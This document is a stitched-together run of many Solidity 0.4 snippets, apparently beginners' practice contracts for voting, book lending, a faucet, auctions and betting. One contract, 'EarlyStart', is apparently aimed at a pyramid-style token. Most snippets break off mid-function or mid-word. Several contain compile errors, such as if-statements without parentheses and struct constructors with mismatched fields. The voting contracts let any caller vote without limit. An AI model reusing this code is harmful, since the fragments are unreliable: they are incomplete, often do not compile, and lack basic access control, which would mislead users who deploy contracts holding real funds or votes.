pragma solidity ^0.4.25;
contract Election {

  struct Candidate {
    uint id;
    uint vote;
  }

  Candidate candidate = Candidate(0,0);
  Candidate candidate2 = Candidate(1,0);

  Candidate[] candidates;

  constructor() public {
      candidates.push(candidate);
      candidates.push(candidate2);
  }

  function setVote(uint _id) public {
      candidates[_id].vote++; 
  }

  function getVote(uint _id) public view returns (uint) {
     return candidates[_id].vote;
  }

pragma solidity ^0.4.25;
contract SimpleLibrarySystem {
  // data needed
  // 必要なデータです
  uint totalNumberOfBooks;
  uint totalNumberOfBorrowers;
  uint currentNumberOfBorrowers;

  struct bookDetails {
    uint id;
    string titleOfBook;
    string authorOfBook;
    bool isBorrowed;
  }

  struct borrowerDetails {
    uint id;
    uint bookID;
    string borrowerName;
  }

  // initialize the contract
  // スマートコントラクトを初期化します
  constructor() public {
    totalNumberOfBooks = 0;
    totalNumberOfBorrowers = 0;
    currentNumberOfBorrowers = 0;
  }

  mapping (uint => bookDetails) books;
  mapping (uint => borrowerDetails) borrowers;

  // function to add books
  // 本を追加すること機能です
  function addBooks(string title, string author) public {
    totalNumberOfBooks+=1;
    books[totalNumberOfBooks] = bookDetails(totalNumberOfBooks, title, author, false);
  }

  // function to borrow a book
  // the book to be borrowed should be available
  // 本

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract LibrarySystem {

  struct Book {
    string author;
    string bookName;
    bool borrowed;
  }

  struct Borrower {
    string borrowerName;
  }

  struct Transaction{
    uint bookId;
    uint borrowerId;
    address _;
  }

  mapping (uint => Book) public books;
  mapping (uint => Borrower) public borrowers;
  mapping (uint => Transaction) public transactions;

  uint private bookCounter;
  uint private borrowerCounter;
  uint private transactionCounter;
  
  address private creator;

  constructor() public {
    creator = msg.sender;   
    bookCounter = 0;
    borrowerCounter = 0;
    transactionCounter = 0;
  }

  function addBook(string author, string bookName) public {
    bookCounter++;
    books[bookCounter] = Book(author, bookName, false);
  }

  function returnBook(uint index) public {
    require(books[index].borrowed == true);
    books[index].borrowed = false;
  }

  functio

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract LibraryContract {

  struct Book {
    uint id;
    string bookTitle;
    bool isBorrowed;
    address borrower;
  }

  mapping (uint => Book) public book;

  uint incrementBookId;

  function addBook(string _bookTitle) public {
    incrementBookId++;
    book[incrementBookId] = Book(incrementBookId, _bookTitle, false,  address(0));
  }

  function borrowBook(uint _bookId) public {
    require(book[_bookId].isBorrowed == false);
    book[_bookId] = Book(incrementBookId, book[_bookId].bookTitle, true, msg.sender);
  }

  function returnBook(uint _bookId) public {
    require(book[_bookId].isBorrowed == true);
    book[_bookId] = Book(incrementBookId, book[_bookId].bookTitle, false, msg.sender);
  }

pragma solidity ^0.4.24;

import "./SchedulerInterface.sol";

contract Routine_Dai {

    uint256 constant gwei = 1000000000;

    uint256 public payAmt;

    bytes32 cdpId;
    address clock;
    address dai;
    address tub;

    address futureTx;
    address owner;

    constructor(
        bytes32 _cdpId,
        address _dai,
        address _clock,
        uint256 _payAmt
    ) public {
        owner = msg.sender;
        cdpId = _cdpId;
        dai = _dai;
        clock = _clock;
        payAmt = _payAmt;
    }

    function newSchedule() public returns (address) {
        require(msg.sender == futureTx || msg.sender == owner);

        uint256 scheduleFor = now + 20 minutes;

        futureTx = SchedulerInterface(clock).schedule(
            address(this),      // to
            new bytes(0),       // callData
            [                   //
                1000000,        // callGas
                0,              // value
                2500,           // executionWindow
                schedule

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.11;

interface IAuction {
  event BidPlaced(address indexed _bidder,uint256 indexed _editionNumber,uint256 indexed _amount);
  event BidIncreased(address indexed _bidder,uint256 indexed _editionNumber,uint256 indexed _amount);
  event BidWithdrawn(address indexed _bidder,uint256 indexed _editionNumber);
  event BidAccepted(address indexed _bidder,uint256 indexed _editionNumber,uint256 indexed _tokenId,uint256 _amount);
  event BidderRefunded(uint256 indexed _editionNumber,address indexed _bidder,uint256 indexed _amount);
  event EditionAuctionCanceled(uint256 indexed _editionNumber);

  function placeBid(uint256 _editionNumber) public payable returns (bool success);
  function increaseBid(uint256 _editionNumber) public payable returns (bool success);
  function withdrawBid(uint256 _editionNumber) public returns (bool success);
  function acceptBid(uint256 _editionNumber) public returns (uint256 _tokenI

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract LibrarySystem {

  struct Book {
    string author;
    string bookName;
    bool borrowed;
  }

  struct Borrower {
    string borrowerName;
  }

  struct Transaction{
    uint bookId;
    uint borrowerId;
    address _;
  }

  mapping (uint => Book) private books;
  mapping (uint => Borrower) private borrowers;
  mapping (uint => Transaction) private transactions;

  uint private bookCounter;
  uint private borrowerCounter;
  uint private transactionCounter;
  
  address private creator;

  constructor() public {
    creator = msg.sender;   
    bookCounter = 0;
    borrowerCounter = 0;
    transactionCounter = 0;
  }

  function addBook(string author, string bookName) public {
    bookCounter++;
    books[bookCounter] = Book(author, bookName, false);
  }

  function returnBook(uint id) public {
    require(books[id].borrowed == true);
    books[id].borrowed = false;
  }

  function borr

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract SimpleLibrarySystem {
  
  // data needed
  uint totalNumberOfBooks;
  uint totalNumberOfBorrowers;
  uint currentNumberOfBorrowers;

  struct bookDetails {
    uint id;
    string titleOfBook;
    string authorOfBook;
    bool isBorrowed;
  }

  struct borrowerDetails {
    uint id;
    uint bookID;
    string borrowerName;
  }

  // call just once
  constructor() public {
    totalNumberOfBooks = 0;
    totalNumberOfBorrowers = 0;
    currentNumberOfBorrowers = 0;
  }

  mapping (uint => bookDetails) books;
  mapping (uint => borrowerDetails) borrowers;

  function addBooks(string title, string author) public {
    totalNumberOfBooks+=1;
    books[totalNumberOfBooks] = bookDetails(totalNumberOfBooks, title, author, false);
  }

  function borrowBook(uint bookID, string name) public {
    require(books[bookID].isBorrowed == false);
    totalNumberOfBorrowers+=1;
    currentNumberOfBorrowe

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract LibraryContract {
  struct Book {
    string title;
    bool isBorrowed;
    address holder;
  }

  Book[] bookCollection;

  function addBook(string _title) public {
    bookCollection.push(Book(_title, false, address(0)));
  }

  function borrowBook(uint _index) public {
    require(!bookCollection[_index].isBorrowed);
    bookCollection[_index].isBorrowed = true;
    bookCollection[_index].holder = msg.sender;
  }

  function returnBook(uint _index) public {
    require(bookCollection[_index].isBorrowed);
    require(bookCollection[_index].holder == msg.sender);
    bookCollection[_index].isBorrowed = false;
    bookCollection[_index].holder = address(0);
  }
  
  function getBookHolder(uint _index) public view returns (address) {
    require(bookCollection[_index].isBorrowed);
    return bookCollection[_index].holder;
  }

  function isBookAvailable(uint _index) public view returns (bo

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract LibraryContract {
  struct Book {
    string title;
    bool isBorrowed;
    address holder;
  }

  Book[] bookCollection;

  function addBook(string _title) public {
    bookCollection.push(Book(_title, false, address(0)));
  }

  function borrowBook(uint _index) public {
    require(!bookCollection[_index].isBorrowed);
    bookCollection[_index].isBorrowed = true;
    bookCollection[_index].holder = msg.sender;
  }

  function returnBook(uint _index) public {
    require(bookCollection[_index].isBorrowed);
    require(bookCollection[_index].holder == msg.sender);
    bookCollection[_index].isBorrowed = false;
    bookCollection[_index].holder = address(0);
  }
  
  function getBookHolder(uint _index) public view returns (address) {
    return bookCollection[_index].holder;
  }

  function isBookAvailable(uint _index) public view returns (bool) {
    return !bookCollection[_index].isBorro

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract LibraryContract {
  struct Book {
    string title;
    bool isBorrowed;
    address holder;
  }

  Book[] bookCollection;

  function addBook(string _title) public {
    bookCollection.push(Book(_title, false, address(0)));
  }

  function borrowBook(uint _index) public {
    require(!bookCollection[_index].isBorrowed);
    bookCollection[_index].isBorrowed = true;
    bookCollection[_index].holder = msg.sender;
  }

  function returnBook(uint _index) public {
    require(bookCollection[_index].isBorrowed);
    require(bookCollection[_index].holder == msg.sender);
    bookCollection[_index].isBorrowed = false;
    bookCollection[_index].holder = address(0);
  }
  
  function isBookAvailable(uint _index) public view returns (bool) {
    return !bookCollection[_index].isBorrowed;
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract ElectionC {
  struct Candidate {
    uint8 votes;
    string name;
  }

  address contractCreator;
  Candidate[] candidates;
  mapping (address => bool) votingRecord;

  constructor() public {
    candidates.push(Candidate(0, "JP"));
    candidates.push(Candidate(0, "Binsu"));
    contractCreator = msg.sender;
    votingRecord[msg.sender] = false;
  }

  function setVote(uint _index) public {
    require(!votingRecord[msg.sender]);
    votingRecord[msg.sender] = true;
    candidates[_index].votes++;
  }

  function getVotes(uint _index) public constant returns (uint) {
    return candidates[_index].votes;
  }

  function addCandidate(string _name) public {
    candidates.push(Candidate(0, _name));
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract sampleSolidity {

  struct UserInfo {
    uint id;
    uint numberOfVote;
  }

  mapping (uint => UserInfo) public user;
  uint incrementId = 0;
  uint inceaseVote1 = 0;
  uint inceaseVote2 = 0;
  uint inceaseVote3 = 0;

  function vote(uint _chosenPresident) public {
    incrementId++;
    if (_chosenPresident == 0) {
      inceaseVote1++;
      user[incrementId] = UserInfo(incrementId, inceaseVote1);
    } else if (_chosenPresident == 1) {
      inceaseVote2++;
      user[incrementId] = UserInfo(incrementId, inceaseVote2);
    } else {
      inceaseVote3++;
      user[incrementId] = UserInfo(incrementId, inceaseVote3);
    }
  }
}
/*
  function vote1(uint _chosenPresident) public {
    require(_chosenPresident == 0);
    incrementId++;
    inceaseVote1++;
    user[incrementId] = UserInfo(incrementId, inceaseVote1);
  }

  function vote2(uint _chosenPresident) public {
    require(_chose

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract SimpleStore {

  // data
  uint totalNumberOfVotes;
  uint numberOfCandidates;

  struct candidate {
    uint id;
    string Name;
    uint numberOfVotes;
  }

  mapping (uint => candidate) candidates;
  
  // call just once
  constructor() public {
    totalNumberOfVotes = 0;
    numberOfCandidates = 0;
  }

  function addCandidate(string name) public {
    numberOfCandidates+=1;
    candidates[numberOfCandidates] = candidate(numberOfCandidates, name, 0);
  }

  function toVote(uint256 id) public {
    totalNumberOfVotes+=1;
    candidates[id].numberOfVotes = candidates[id].numberOfVotes+1;
  }

/*  function showCandidateAndVotes() public {

  }*/

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract sampleSolidity {

  struct UserInfo {
    uint id;
    uint numberOfVote;
  }

  mapping (uint => UserInfo) public user;
  uint incrementId = 0;
  uint inceaseVote1 = 0;
  uint inceaseVote2 = 0;
  uint inceaseVote3 = 0;
  uint[] president = [0, 1, 2];

  function vote(string  _firstName, string _lastName, uint _chosenPresident) public {
    incrementId++;
    if (_chosenPresident == 0) {
      inceaseVote1++;
      user[incrementId] = UserInfo(incrementId, inceaseVote1);
    } else if (_chosenPresident == 1) {
      inceaseVote2++;
      user[incrementId] = UserInfo(incrementId, inceaseVote2);
    } else {
      inceaseVote3++;
      user[incrementId] = UserInfo(incrementId, inceaseVote3);
    }
  }
}
/*
  function vote1(uint _chosenPresident) public {
    require(_chosenPresident == 0);
    incrementId++;
    inceaseVote1++;
    user[incrementId] = UserInfo(incrementId, inceaseVote1);
  

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract SimpleStore {

  struct Candidate{
    uint id;
    string name;
    uint voteCount;
  }

  mapping (uint => Candidate) private candidates;
  uint private initialCount;
  uint public candidateCount;
  address private  owner; 
  constructor() public {
    initialCount = 0;
    owner = msg.sender;
  }

  function addCandidate(string _name) public {
    candidateCount++;
    candidates[candidateCount] = Candidate(candidateCount, _name, initialCount);
  }

  function voteCandidateById(uint256 _id) public {
    candidates[_id].voteCount = candidates[_id].voteCount + 1;
  }

  function getVoteCountForCandidateById(uint256 _id) public view returns(uint){
    return candidates[_id].voteCount;
  }
  

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract SimpleStore {

  struct Candidate{
    uint id;
    string name;
    uint voteCount;
  }

  mapping (uint => Candidate) private candidates;
  uint private initialCount;
  uint public candidateCount;
  address owner; 
  constructor() public {
    initialCount = 0;
    owner = msg.sender;
  }

  function addCandidate(string _name) public {
    candidateCount++;
    candidates[candidateCount] = Candidate(candidateCount, _name, initialCount);
  }

  function voteCandidateById(uint256 _id) public {
    candidates[_id].voteCount = candidates[_id].voteCount + 1;
  }

  function getVoteCountForCandidateById(uint256 _id) public view returns(uint){
    return candidates[_id].voteCount;
  }
  

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract sampleSolidity {

  struct UserInfo {
    uint id;
    uint numberOfVote;
  }

  mapping (uint => UserInfo) public user;
  uint incrementId = 0;
  uint inceaseVote1 = 0;
  uint inceaseVote2 = 0;
  uint inceaseVote3 = 0;
  uint[] president = [0, 1, 2];

  function vote(string  _firstName, string _lastName, uint _chosenPresident) public {
    incrementId++;
    if _chosenPresident == 0 {
      inceaseVote1++;
      user[incrementId] = UserInfo(incrementId, _firstName, _lastName, inceaseVote1);
    } else if _chosenPresident == 1 {
      inceaseVote2++;
      user[incrementId] = UserInfo(incrementId, _firstName, _lastName, inceaseVote2);
    } else {
      inceaseVote3++;
      user[incrementId] = UserInfo(incrementId, _firstName, _lastName, inceaseVote3);
    }
  }

/*
  function vote1(uint _chosenPresident) public {
    require(_chosenPresident == 0);
    incrementId++;
    inceaseVote1++;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract SimpleStore {

  struct Candidate{
    uint id;
    string name;
    uint voteCount;
  }

  mapping (uint => Candidate) private candidates;
  uint private initialCount;
  uint public candidateCount;

  constructor() public {
    initialCount = 0;
  }

  function addCandidate(string _name) public {
    candidateCount++;
    candidates[candidateCount] = Candidate(candidateCount, _name, initialCount);
  }

  function voteCandidateById(uint256 _id) public {
    candidates[_id].voteCount = candidates[_id].voteCount + 1;
  }

  function getVoteCountForCandidateById(uint256 _id) public view returns(uint){
    return candidates[_id].voteCount;
  }
  

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract SimpleStore {

  // data
  uint totalNumberOfVotes;
  uint numberOfCandidates;

  struct candidate {
    uint id;
    string Name;
    uint numberOfVotes;
  }

  mapping (uint => candidate) candidates;
  
  // call just once
  constructor() public {
    totalNumberOfVotes = 0;
    numberOfCandidates = 0;
  }

  function addCandidate(string name) public {
    numberOfCandidates+=1;
    candidates[numberOfCandidates] = candidate(numberOfCandidates, name, 0);
  }

  function toVote(int id) public {
    totalNumberOfVotes+=1;
    candidates[id] = candidate[id].numberOfVotes+=1;
  }

/*  function showCandidateAndVotes() public {

  }*/

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract ElectionC {
  struct Candidate {
    uint8 votes;
    string name;
  }

  address contractCreator;
  Candidate[] candidates;
  mapping (address => uint) votingRecord;

  constructor() public {
    candidates.push(Candidate(0, "JP"));
    candidates.push(Candidate(0, "Binsu"));
    contractCreator = msg.sender;
    votingRecord[msg.sender] = 0;
  }

  function setVote(uint _index) public {
    require(votingRecord[msg.sender] != 1);
    votingRecord[msg.sender] = 1;
    candidates[_index].votes++;
  }

  function getVotes(uint _index) public constant returns (uint) {
    return candidates[_index].votes;
  }

  function addCandidate(string _name) public {
    candidates.push(Candidate(0, _name));
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract ElectionC {
  struct Candidate {
    uint8 votes;
    string name;
  }

  address contractCreator;
  Candidate[] candidates;
  mapping (address => uint) votingRecord;

  constructor() public {
    candidates.push(Candidate(0, "JP"));
    candidates.push(Candidate(0, "Binsu"));
    contractCreator = msg.sender;
    votingRecord[msg.sender] = 0;
  }

  function setVote(uint _index) public {
    require(votingRecord[msg.sender] != 1);
    votingRecord[msg.sender] = 1;
    candidates[_index].votes++;
  }

  function getVotes(uint _index) public constant returns (uint) {
    return candidates[_index].votes;
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract soliditySample {

  int intValue;
  address myAddress;

  struct Sample {
    string a;
    uint b;
  }

  Sample myInfo = Sample("james", 30);
  
  mapping (address => uint) accountBalance;

  uint[] numbers;
  string[] textArray;

  // call just once
  constructor() public {
    intValue = -5;
    myAddress = msg.sender;
    accountBalance[msg.sender]= 5;
  }

  function setIntValue(int _intValue) public {
    intValue = _intValue;
  }

  function getValue() public constant returns (int) {
    return intValue;
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract sampleSolidity {

  struct UserInfo {
    int id;
    string firstName;
    string lastName;
  }

  UserInfo userInfo = UserInfo("gwen", "merida");

  mapping (uint => UserInfo) public user;

  function addUser(string  _firstName, string _lastName) public {
    UserInfo userInfo = UserInfo(_firstName, _lastName);
  }

  function getUser(int _id) public returns (UserInfo) {
    
  }

  function getValue() public constant returns (int) {
    return intValue;
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract SimpleStore {

  // data
  string text;
  int number;
  address myAddress;

  struct sampleStruct {
    string Name;
    string nickName;
  }

  sampleStruct myInfo = sampleStruct("Vince Millora", "Binsu");

  mapping (address => uint) accountBalance;
  
  // call just once
  constructor() public {
    text="empty";
    number = 0;
    myAddress = msg.sender;
    accountBalance[msg.sender]= 100;
  }

  function setText(string _text) public {
    text = _text;
  }

  function getText() public constant returns (string) {
    return text;
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract soliditySample {

  int intValue;
  address myAddress;

  struct Sample {
    string a;
    uint b;
  }

  Sample myInfo = Sample("james", 30);
  
  mapping (address => uint) accountBalance;

  uint[] numbers;
  string[] textArray;

  // call just once
  constructor() public {
    intValue = -5;
    myAddress = msg.sender;
    accountBalance[msg.sender]= 100;
  }

  function setIntValue(int _intValue) public {
    intValue = _intValue;
  }

  function setArray(uint _number) public {
    numbers.push(_number);
  }

  function getValue() public constant returns (int) {
    return intValue;
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract SimpleStore {


  uint initialCount;

  struct Candidate{
    uint id;
    string name;
    uint voteCount;
  }

  mapping (uint => Candidate) public candidates;
  uint public candidateCount;

  constructor() public {
    initialCount = 0;
  }

  function addCandidate(string _name) public {
    candidateCount++;
    candidates[candidateCount] = Candidate(candidateCount, _name, initialCount);
  }
  

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract SimpleContract {
  address deployerAddress;
  mapping (address => uint) balances;
  uint value;

  struct Qwerty {
    uint32 x;
    string y;
  }

  Qwerty sampleInstance = Qwerty(10, "Hello World");

  constructor() public {
     deployerAddress = msg.sender;
     balances[msg.sender] = 0;
  }

  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

pragma solidity ^0.4.25;

contract OnlineStore {
    uint i;
    function buySomething() external payable {
        require(msg.value == 0.001 ether);
        i++;
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {

  uint public constant deno = 1000000000000000000;
  uint public constant denoBase = 18;


  function setWithDeno(uint _value) public {
    value = _value * 3 * (deno)/(deno);
  }

  function setWithDenoBase(uint _value) public {
    value = _value * 3 * (10**denoBase)/(10**denoBase);
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {

  uint public constant deno = 1000000000000000000;
  uint public constant denoBase = 18;


  function setWithDeno(uint _value) public {
    value = _value * 3 * (10*deno)/deno;
  }

  function setWithDenoBase(uint _value) public {
    value = _value * 3 * (10**denoBase)/(10**denoBase);
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.4.18;
/// @title IERCST Security Token Standard (EIP 1400)
/// @dev See https://github.com/SecurityTokenStandard/EIP-Spec
                    
interface IERCST is IERCPFT {

    // Document Management
    function getDocument(bytes32 _name) external view returns (string, bytes32);
    function setDocument(bytes32 _name, string _uri, bytes32 _documentHash) external;

    // Controller Operation
    function isControllable() external view returns (bool);

    // Token Issuance
    function isIssuable() external view returns (bool);
    function issueByTranche(bytes32 _tranche, address _tokenHolder, uint256 _amount, bytes _data) external;
    event IssuedByTranche(bytes32 indexed tranche, address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData);

    // Token Redemption
    function redeemByTranche(bytes32 _tranche, uint256 _amount, bytes _data) external;
    function operatorRedeemByTranche(bytes32 _tranche, address _tokenHolder, uint256 _amount, bytes _op

pragma solidity ^0.4.25;
contract sampleContract {
  string text = "text";
  function checkText(string _text) public view returns(string){
    if(keccak256(abi.encodePacked(_text)) == keccak256(abi.encodePacked(text))){
      return text;
    }
    revert("error");
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function multipleReturns() public pure returns(uint a, uint b, uint c) {
    return (1, 2, 3);
  }

  function processMultipleReturns() external pure {
    uint a;
    uint b;
    uint c;
    (a, b, c) = multipleReturns();
  }

  function getLastReturnValue() external pure {
    uint c;
    (,,c) = multipleReturns();
  }

pragma solidity ^0.4.18;
contract sampleContract {
  struct Sandwich {
    string name;
    string status;
  }

  Sandwich[] sandwiches;

  function eatSandwich(uint _index) public {
    Sandwich storage mySandwich = sandwiches[_index];
    mySandwich.status = "Eaten!";

    Sandwich memory anotherSandwich = sandwiches[_index + 1];
    anotherSandwich.status = "Eaten!";
    
    sandwiches[_index + 1] = anotherSandwich;
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract soliditySample {

  int intValue;
  uint uintValue;
  uint32 uintValue32;
  string text;
  address myAddress;

  struct MyInfo {
    string myName;
    uint age;
  }

  MyInfo myInfo = MyInfo("takase", 30);
  
  mapping (address => uint) accountBalance;

  uint[] numbers;
  string[] textArray;

  // call just once
  constructor() public {
    intValue = -10;
    uintValue = 10;
    text = "test";
    myAddress = msg.sender;
    accountBalance[msg.sender]= 100;
  }

  function setIntValue(int _intValue) public {
    intValue = _intValue;
  }

  function setArray(uint _number) public {
    numbers.push(_number);
  }

  function getValue() public constant returns (int) {
    return intValue;
  }

pragma solidity ^0.4.25;
contract modifierSample {
  address public owner;

  constructor() public {
    owner = msg.sender;
  }
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }

  function changeOwner(address newOwner) public onlyOwner {
    owner = newOwner;
  }

pragma solidity ^0.4.25;
contract sampleContract {
  address public owner;
  uint data = 1;

  constructor() public {
    owner = msg.sender;
  }

  function sample() public {
    // callerにgas残を返却
    require(owner == msg.sender);
    data = 2;
  }

  function sample2() public {
    // gasを全て消費
    assert(owner == msg.sender);
    data = 3;
  }

  function sample3() public {
    revert("error");
    data = 4;
  }

  function getData() public view returns(uint) {
    return data;
  }
}

pragma solidity ^0.4.25;
contract contractA {
  uint data = 100;

  function getData() public view returns(uint){
    return data;
  }

  function getDataPrivate() private view returns(uint){
    return data;
  }

  function getDataInternal() internal view returns(uint){
    return data;
  }

  function getDataExternal() external view returns(uint){
    return data;
  }
}

contract contractB is contractA {
  function getA() public view returns(uint){
    uint a = getDataInternal();
    return a;
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract soliditySample {

  int intValue;
  uint uintValue;
  uint32 uintValue32;
  string text;
  address myAddress;

  struct MyInfo {
    string myName;
    uint age;
  }

  MyInfo myInfo = MyInfo("takase", 30);
  
  mapping (address => uint) accountBalance;

  uint[] uintArray;
  string[] textArray;

  // call just once
  constructor() public {
    intValue = -10;
    uintValue = 10;
    text = "test";
    myAddress = msg.sender;
    accountBalance[msg.sender]= 100;
  }

  function setIntValue(int _intValue) public {
    intValue = _intValue;
  }

  function getValue() public constant returns (int) {
    return intValue;
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.11;

interface IAuction {
  event BidPlaced(address indexed _bidder,uint256 indexed _editionNumber,uint256 indexed _amount);
  event BidIncreased(address indexed _bidder,uint256 indexed _editionNumber,uint256 indexed _amount);
  event BidWithdrawn(address indexed _bidder,uint256 indexed _editionNumber);
  event BidAccepted(address indexed _bidder,uint256 indexed _editionNumber,uint256 indexed _tokenId,uint256 _amount);
  event BidderRefunded(uint256 indexed _editionNumber,address indexed _bidder,uint256 indexed _amount);
  event EditionAuctionCanceled(uint256 indexed _editionNumber);

  function placeBid(uint256 _editionNumber) external returns (bool success);
  function increaseBid(uint256 _editionNumber) external returns (bool success);
  function withdrawBid(uint256 _editionNumber) external returns (bool success);
  function acceptBid(uint256 _editionNumber) external returns (bool success);
  functi

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.11;

interface IAuction {

  event BidPlaced(
    address indexed _bidder,
    uint256 indexed _editionNumber,
    uint256 indexed _amount
  );

  event BidIncreased(
    address indexed _bidder,
    uint256 indexed _editionNumber,
    uint256 indexed _amount
  );

  event BidWithdrawn(
    address indexed _bidder,
    uint256 indexed _editionNumber
  );

  event BidAccepted(
    address indexed _bidder,
    uint256 indexed _editionNumber,
    uint256 indexed _tokenId,
    uint256 _amount
  );

  event EditionAuctionCanceled(
    uint256 indexed _editionNumber
  );

  event BidderRefunded(
    uint256 indexed _editionNumber,
    address indexed _bidder,
    uint256 indexed _amount
  );

  function placeBid(uint256 _editionNumber) external returns (bool success);

  function increaseBid(uint256 _editionNumber) external returns (bool success);

  function withdrawBid(uint256 _editionNumber) external retu

pragma solidity ^0.4.24;

contract DripContract
{
    /* Define variable owner of the type address */
    address owner;

    /* This function is executed at initialization and sets the owner of the contract */
    constructor() public
    {
        owner = msg.sender;
    }

    /* Function to recover the funds on the contract */
    function kill() public
    {
        if (msg.sender == owner)
        {
            owner.transfer(address(this).balance);
            selfdestruct(owner);
        }
    }
    
    function drip() public
    {
        require(address(this).balance >= 10 finney, "Insufficient balance");
        msg.sender.transfer(10 finney);
    }
    
    function deposit(uint256 amount) payable public
    {
        require(msg.value == amount, "Amount doesn't match");
    }
    
    function getBalance() public view returns (uint256)
    {
        return address(this).balance;
    }

pragma solidity 0.4.25;

//GENERIC PYR INTERFACE

contract PyrAbstract {
	function stakingRequirement() pure public returns(uint256) {}
	function onlyAmbassadors() pure public returns(bool) {}
	function buyPrice() pure public returns(uint256) {}
	function buy(address) public payable returns(uint256) {} //referral 
	function reinvest() pure public {}
	function sell(uint256) pure public {} //token amount 
	function withdraw() pure public {}
	function exit() pure public {}
}

//MAIN CONTRACT

contract EarlyStart {

	using SafeMath for uint256;

	//STORAGE

	address public owner; 
	address public target;
	address public kamakazie;
	address public refCollector;
	uint256 public targetAmbassadorQuota;

	//CONSTRUCTOR

	constructor(address _targetAddress, uint256 _ambassadorQuota) public {
		owner = msg.sender;
		setTarget(_targetAddress, _ambassadorQuota);
	}

	//MODIFIERS

	modifier onlyOwner() { 
		require (msg.sender == owner); 
		_; 
	}
	
	//OWNER FUNCTIONS

	function setTarget(address _targetAddress, uint256 _a

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function setas(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function getqw() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.4.24;

contract DripContract
{
    /* Define variable owner of the type address */
    address owner;
    bool ownerSet = false;

    /* This function is executed at initialization and sets the owner of the contract */
    constructor() public
    {
        require(ownerSet == false);
        owner = msg.sender;
    }

    /* Function to recover the funds on the contract */
    function kill() public
    {
        if (msg.sender == owner)
        {
            owner.transfer(address(this).balance);
            selfdestruct(owner);
        }
    }
    
    function drip() public
    {
        require(address(this).balance >= 10 finney);
        msg.sender.transfer(10 finney);
    }
    
    function deposit(uint256 amount) payable public
    {
        require(msg.value == amount);
    }
    
    function getBalance() public view returns (uint256)
    {
        return address(this).balance;
    }

pragma solidity ^0.4.25;


contract BettingFactory {
    address public manager;
    
    address[] public bets;
    
    //constructor of the contract - the msg.sender is the address of the contract creator - in this function the creater will be the manager
    constructor() public {
        
        manager = msg.sender;
        
    }
    
            //modifier require only the mmanager have the right to call this function
    
    function createbetting() public returns (address) {
        
        Betting bet = new Betting();
        
        bets.push(bet);
        
        return bet;
        
    }
}


contract Betting {
    
    //Variables
    
    address public manager;
    
    address public bettorA;
    
    address public bettorB;
    
    address public winner;
    
    uint private balanceA;
    
    uint private balanceB;
    
    
   
